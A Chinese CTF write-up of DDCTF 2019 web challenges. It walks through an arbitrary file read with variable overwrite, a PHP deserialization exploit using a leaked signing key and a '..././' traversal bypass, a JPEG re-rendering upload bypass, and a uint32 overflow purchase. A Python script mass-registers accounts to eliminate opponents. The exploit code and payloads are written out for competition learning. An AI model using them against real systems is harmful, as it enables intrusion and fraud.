最近几天抽时间做了做DDCTF,只做出了几道Web,菜哭了==,这里将做出的题记录一下吧(参赛id:stark)
滴~
http://117.51.150.246
打开题目后跳到了一个连接,页面内容是一个表情包,jpg参数值看起来像一串base64,如下图
将jpg的参数值TmpZMlF6WXhOamN5UlRaQk56QTJOdz09经过两次base64解码和一次hex解码后得到flag.jpg,另外在页面源码里面看到了flag.jpg图片内容base64编码后的内容,这里是使用img标签通过data伪协议将图片显示到了页面中
所以猜测这里可能是一个任意文件读取,将index.php进行一次hex编码两次base64编码后得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,将值传入jpg参数尝试读取index.php源码,可以读取成功
结果如下:
PD9waHANCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkbi5uZXQvRmVuZ0JhbkxpdVl1bi9hcnRpY2xlL2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGU6IEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0UpOw0KDQoNCmhlYWRlcignY29udGVudC10eXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Jyk7DQppZighIGlzc2V0KCRfR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScpOw0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWNvZGUoYmFzZTY0X2RlY29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnJ10uJzwvdGl0bGU+JzsNCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOw0KZWNobyAkZmlsZS4nPC9icj4nOw0KJGZpbGUgPSBzdHJfcmVwbGFjZSgiY29uZmlnIiwiISIsICRmaWxlKTsNCmVjaG8gJGZpbGUuJzwvYnI+JzsNCiR0eHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQoNCmVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIi4kdHh0LiInPjwvaW1nPiI7DQovKg0KICogQ2FuIHlvdSBmaW5kIHRoZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo=
base64解码后:
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
通过源码可以大概猜测出来flag在config.php配置文件里面,经过测试这个文件是存在的,但是str_replace(“config”,”!”, $file)会将传入的config.php替换为!.php,所以这里是绕不过去的,但是代码里面有一个博客链接:
https://blog.csdn.net/FengBanLiuYun/article/details/80616607
这里可能是一个hint,但是这篇连接的文章并没有什么提示,接下来在博客里翻到了一篇文章,这个文章讲的是有关临时交换文件的
https://blog.csdn.net/FengBanLiuYun/article/details/80913909
这篇文章里面提到了一个名为practice.txt.swp的文件,开了一下脑洞,试着访问了一下该文件发现确实存在
文件内容是另一个文件的名字f1ag!ddctf.php,并且里面有!,可以绕过之前的检测,所以这里可以读取到f1ag!ddctf.php文件,将f1agconfigddctf.php进行一次hex编码两次base64编码后构造出TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==,传入jpg参数读到f1ag!ddctf.php的源码
得到结果:
PD9waHANCmluY2x1ZGUoJ2NvbmZpZy5waHAnKTsNCiRrID0gJ2hlbGxvJzsNCmV4dHJhY3QoJF9HRVQpOw0KaWYoaXNzZXQoJHVpZCkpDQp7DQogICAgJGNvbnRlbnQ9dHJpbShmaWxlX2dldF9jb250ZW50cygkaykpOw0KICAgIGlmKCR1aWQ9PSRjb250ZW50KQ0KCXsNCgkJZWNobyAkZmxhZzsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobydoZWxsbyc7DQoJfQ0KfQ0KDQo/Pg==
base64解码得到源码内容:
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
这里是一个简单的变量覆盖,可以构造: http://117.51.150.246/f1ag!ddctf.php?uid=f1ag!ddctf.php&k=practice.txt.swp 获取flag
flag:DDCTF{436f6e67726174756c6174696f6e73}
另外这里有一个tip,可以不使用变量覆盖,直接构造 http://117.51.150.246/f1ag!ddctf.php?uid= 获取到flag
因为$k变量的值hello是一个不存在的文件,会导致 file_get_contents 返回False,接下来False经过 trim 函数处理后会产生一次类型转换变成空字符串,所以 $uid==$content ,直接输出了flag
WEB签到题
http://117.51.158.44/index.php
打开后直接访问会提示没有登陆权限
查看源码后发现存在一个 /js/index.js 文件,index.js代码如下:
/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/
function auth(){
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest){
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata){
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}
通过简单的审计可以看到这里存在一个认证,通过ajax添加了一个http请求头 didictf_username ,猜测服务端是根据这个header头的值去做认证的,如果想访问到页面,首先需要得到出来一个username值,所以这里先对 didictf_username 进行爆破,通过爆破看到admin可以认证成功,之后会返回一个提示:app\/fL2XID2i0Cdh.php这个文件
访问 http://117.51.158.44/app/fL2XID2i0Cdh.php ,可以获取到源码,源码如下:
url:app/Application.php
Class Application{
var $path = '';
public function response($data, $errMsg ='success'){
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth(){
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path){
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct(){
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
url:app/Session.php
include 'Application.php';
class Sessionextends Application{
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key(){
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read(){
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create(){
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
通过对代码代码审计可以看到在$session = unserialize($session)这里存在一个反序列化漏洞,这个点应该是个突破点,可以通过传入反序列化字符串触发Application对象当中的_destructs方法,_destructs当中存在任意文件读取,通过任意文件读取就可以读取到flag,另外代码里面限制了$path值为18个字符,结合代码的注释可以大概猜到flag文件为 ../config/flag.txt 。
但是想要触发反序列化漏洞,首先需要获取到 ../config/key.txt 文件当中的key,否则cookie是不能随意修改的,因为这里存在认证,获取key的方法如下
第一步,请求Session.php, session_create 函数会设置cookie,这里先获取到cookie
第二步:将获取到的cookie添加到请求里面,绕过”the cookie data not match”
接下来在传入post参数nickname的代码处,有一个foreach循环,这里会将key输出,代码如下:
第一次循环,将Welcome my friend %s当中的%s替换为了 $_POST['nickname'] ,此时$data变为了Welcome my friend $_POST['nickname'] ,第二次循环,要将key写入$data的时候,%s已经没有了,所以这里只输出了传入的nickname而不是key
那么要想输出key,可以将nickname设置为%s,这样第一次循环后$data变为了Welcome my friend %s,第二次循环后%s就可以被替换为key输出了
获取到key值: EzblrbNSO ,得到key后,$cookiedata的值就可以随便构造了,这里构造序列化字符串进行任意文件读取,生成的exp代码如下:
<?php
Class Application{
var $path = '..././config/flag.txt';
}
$a=new Application();
echo serialize($a);
echo md5('EzblrbNSO:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}');
?>
因为 $path=str_replace('../','',$path);$path=str_replace('..\\','',$path); 会删除 ../ ,所以这里需要使用双写 ..././ 绕过,之后得到:
O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee2
将生成的exp进行传入cookie当中的ddctf_id请求即可,注意这里需要将 O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";} 部分进行url编码,这样做是为了防止一些特殊字符的影响,然后就可以获取到flag了
flag: DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}
Upload-IMG
http://117.51.148.166/upload.php
题目提供了用户名和密码:
user:dd@ctf pass:DD@ctf#000
通过提供用户名密码登陆后看到是一个上传页面
经过尝试发现这里对图片的16进制头做了检查,另一方面也会对上传的图片进行二次渲染,上传的图片格式都会变成jpg图片格式的
这里要求上传的图片里必须要phpinfo()这个字符串才能输出flag,但是由于二次渲染会的原因,图片当中插入的代码会被删除,这里需要突破二次渲染,类似于upload-labs的第16关,相关文章如下:
https://xz.aliyun.com/t/2657
这里可以使用文章当中提到的国外大神写的脚本实现对jpg二次渲染的突破
https://github.com/BlackFan/jpg_payload
最终通过脚本生成的图片成功得到flag
flag: DDCTF{B3s7_7ry_php1nf0_85127c366b3a9fad}
大吉大利,今晚吃鸡~
http://117.51.147.155:5050/index.html#/login
题目提示:注册用户登陆系统并购买入场票据,淘汰所有对手就能吃鸡啦~
注册账户登陆,发现自己只有100余额,但是购买门票需要2000余额
于是想到了之前护网杯买大辣条的一道题,这里应该存在整型溢出,经过测试发现这里存在uint32位的整型溢出.在立即购买下订单的时候修改金额为2^32+1,也就是4294967297
接下来在支付的时候可以产生溢出,通过1余额购买到门票
买到票后可以获得礼包,礼包当中包括了id和ticket,游戏规则大概是这样:每个账号在买完票后都会生成自己的id和ticket,如果想要消灭对方,需要知道对方的id和ticket才可以。
但是这一点注册账号是没有任何限制的,所以这里可以通过注册大量的账号,通过溢出购买门票获得id和ticket,之后使用其中一个账号消灭其它的账号即可,整个过程可以通过脚本实现,几个操作的接口如下:
注册接口
http://117.51.147.155:5050/ctf/api/register?name=xxx&password=xxx
登陆接口
http://117.51.147.155:5050/ctf/api/login?name=xxx&password=xxx
请求支付/下订单接口,下完订单会返回对应的bill_id
http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967297
支付接口:通过溢出实现门票购买,购买成功后会返回对于的id和ticket
http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=
移除对手接口
http://117.51.147.155:5050/ctf/api/remove_robot?id=xxx&ticket=xxx
最终编写出脚本如下:
import requests
import json
username=[]
def register():
i=1
while True:
url="http://117.51.147.155:5050/ctf/api/register?name=mk%s&password=12345678"%(i)
r=requests.get(url).json()
print r
if len(username)==400:
print username
break
if r['code']==200:
username.append("mk%s"%(i))
i=i+1
else:
i=i+1
register()
for i in username:
url="http://117.51.147.155:5050/ctf/api/login?name=%s&password=12345678"%(i)
#print url
r=requests.session()
r.get(url)
payurl="http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967297"
data=r.get(payurl).json()
bill_id=data['data'][0]['bill_id']
pay="http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s"%(bill_id)
data=r.get(pay).json()
yourid=data['data'][0]['your_id']
ticket=data['data'][0]['your_ticket']
r.get("http://117.51.147.155:5050/ctf/api/login?name=st4rk&password=12345678")
delurl="http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s"%(yourid,ticket)
print r.get(delurl).json()
接下来就可以执行脚本获取flag,需要注意的一点就是这里不是每个账号都可以消灭成功的,而且越往后,消灭的概率就会越低,写这道题的时候自己大概注册了快10000个账号才吃到鸡==
最终获取到flag:
flag: DDCTF{chiken_dinner_hyMCX[n47Fx)}
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- DDCTF2019 write up
- DDCTF2019官方Write Up——MISC篇
- DDCTF2019官方Write Up——Android篇
- DDCTF2019官方Write Up——Web篇
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。